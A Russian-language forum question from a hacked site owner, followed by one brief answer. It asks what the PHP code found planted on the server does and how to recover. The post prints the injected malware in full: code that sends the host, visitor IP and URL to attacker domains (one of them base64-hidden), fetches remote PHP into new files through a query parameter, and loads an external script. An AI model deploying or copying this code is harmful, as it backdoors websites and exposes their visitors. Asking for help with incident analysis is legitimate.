Мой сервер был взломан. Кто-то загрузил некоторые сценарии, которые я понятия не имею, что эти сценарии сделали с моим сервером - PullRequest
0 голосов
/ 17 апреля 2020

Кто-то загрузил этот скрипт на наш сервер

https://github.com/mIcHyAmRaNe/wso-webshell

И мы нашли в c. php файлы в разных каталогах на нашем сервере. , Файл in c содержит этот код

<?php
error_reporting(0);
$s='http://a1b2cd.club/';
$host = str_replace('www.', '', @$_SERVER['HTTP_HOST']);
$x = $s.'l-'.base64_encode($host);

if(function_exists('curl_init'))
{
$ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
    @$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
    @$gitt = file_get_contents($x);
}
echo $gitt;

if(isset($_GET['ksfg'])){
    $f=fopen($_GET['ksfg'].'.php','a');
    fwrite($f,file_get_contents($s.'s-'.$_GET['ksfg']));
    fclose($f);
}
echo '<!DOCTYPE html!>';
?><?php
function GetIP(){
    if(getenv("HTTP_CLIENT_IP")) {
        $ip = getenv("HTTP_CLIENT_IP");
    } elseif(getenv("HTTP_X_FORWARDED_FOR")) {
        $ip = getenv("HTTP_X_FORWARDED_FOR");
        if (strstr($ip, ',')) {
            $tmp = explode (',', $ip);
            $ip = trim($tmp[0]);
        }
    } else {
        $ip = getenv("REMOTE_ADDR");
    }
    return $ip;
}
$x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
if(function_exists('curl_init'))
{
    $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
    if($gitt == false){
        @$gitt = file_get_contents($x);
    }
}elseif(function_exists('file_get_contents')){
    @$gitt = file_get_contents($x);
}
?>
</marquee><script src=http://expoilt.com/ccb.js></script>

Понятия не имею, что этот скрипт сделал с нашим сервером. Так как наш сервер находится на хостинге, мы должны создать новый экземпляр? или мы должны приостановить учетную запись cpanel от whm и создать новую и скопировать туда каждый файл? Пожалуйста, помогите мне понять, что на самом деле может делать этот код

1 Ответ

0 голосов
/ 17 апреля 2020

если вас взломали, попробуйте сначала поменять все пароли и перепроверить код, добавленный вами самостоятельно (оригинальная версия, пока третья сторона не попала на ваш сайт ... возможно, перевести сайт в автономный режим до проверки ...). Возможно, там есть дефект, который позволял третьей стороне загружать все, что угодно, на ваш сайт! (это должно быть исправлено)

Что касается добавленного кода, в основном это список контентов вашего сайта и ip-ов (и некоторых перенаправлений! - очень опасно для обычных пользователей). Но что будет делать третья вечеринка, понятия не имею! (когда вы получаете права администратора снаружи, вы можете сказать, что теперь он действует как владелец your_site).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...